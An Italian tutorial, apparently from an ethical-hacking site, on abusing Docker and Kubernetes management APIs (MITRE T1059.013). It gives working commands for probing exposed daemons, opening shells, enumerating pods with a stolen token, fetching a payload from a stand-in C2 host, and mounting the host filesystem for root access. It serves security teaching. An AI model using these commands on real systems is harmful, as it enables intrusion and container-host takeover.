Container CLI/API: Command Injection (T1059.013)

L'abuso delle interfacce di gestione dei container rappresenta una minaccia crescente negli ambienti cloud-native. Questa tecnica permette agli attaccanti di eseguire comandi malevoli sfruttando CLI, API e SDK nativi di Docker e Kubernetes per compromettere l'infrastruttura containerizzata.

La tecnica si colloca nella tattica TA0002 (Execution), permettendo l'esecuzione di codice arbitrario all'interno di container esistenti o attraverso la creazione di nuovi. Gli attaccanti possono utilizzare strumenti legittimi come Docker CLI, kubectl o librerie client Python e Go per interagire con il daemon Docker o il control plane di Kubernetes.

TeamTNT, gruppo specializzato nel targeting di container mal configurati, ha dimostrato l'efficacia di questa tecnica nelle loro campagne. Le statistiche mostrano un impatto limitato ma crescente, con 1 gruppo APT documentato e 2 mitigazioni specifiche disponibili nel framework.

L'accesso non autorizzato alle API dei container inizia tipicamente con la ricerca di endpoint esposti. Il Docker daemon ascolta di default sulla porta 2375 (non cifrata) o 2376 (TLS), mentre l'API di Kubernetes risponde sulla 6443.

Per verificare l'esposizione del Docker daemon, utilizza: curl -s http://target:2375/version | jq

Se l'endpoint risponde, puoi elencare i container attivi con docker -H tcp://target:2375 ps oppure eseguire comandi arbitrari all'interno di un container esistente tramite docker -H tcp://target:2375 exec -it container_id /bin/bash.

L'approccio Kubernetes richiede prima l'enumerazione del cluster. Con credenziali valide o un token di servizio compromesso: kubectl --server=https://target:6443 --token=$TOKEN get pods --all-namespaces

Gli attaccanti spesso sfruttano immagini legittime che includono tool utili. Ad esempio, pulling di un'immagine Alpine con curl preinstallato: docker -H tcp://target:2375 run -it alpine/curl sh

Una volta dentro il container, il download di payload diventa immediato attraverso curl http://c2-server/payload.sh -o /tmp/payload.sh.

Per simulare tecniche più sofisticate, considera l'utilizzo di SDK Python:

import docker
client = docker.DockerClient(base_url='tcp://target:2375')
container = client.containers.run("ubuntu", "echo hello", detach=True)

L'escalation avviene spesso montando il filesystem host all'interno del container: docker -H tcp://target:2375 run -v /:/host -it ubuntu chroot /host

Questo approccio garantisce accesso root completo al sistema host sottostante. Per Kubernetes, l'abuso di pod privilegiati segue pattern simili attraverso manifest YAML crafted ad-hoc.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo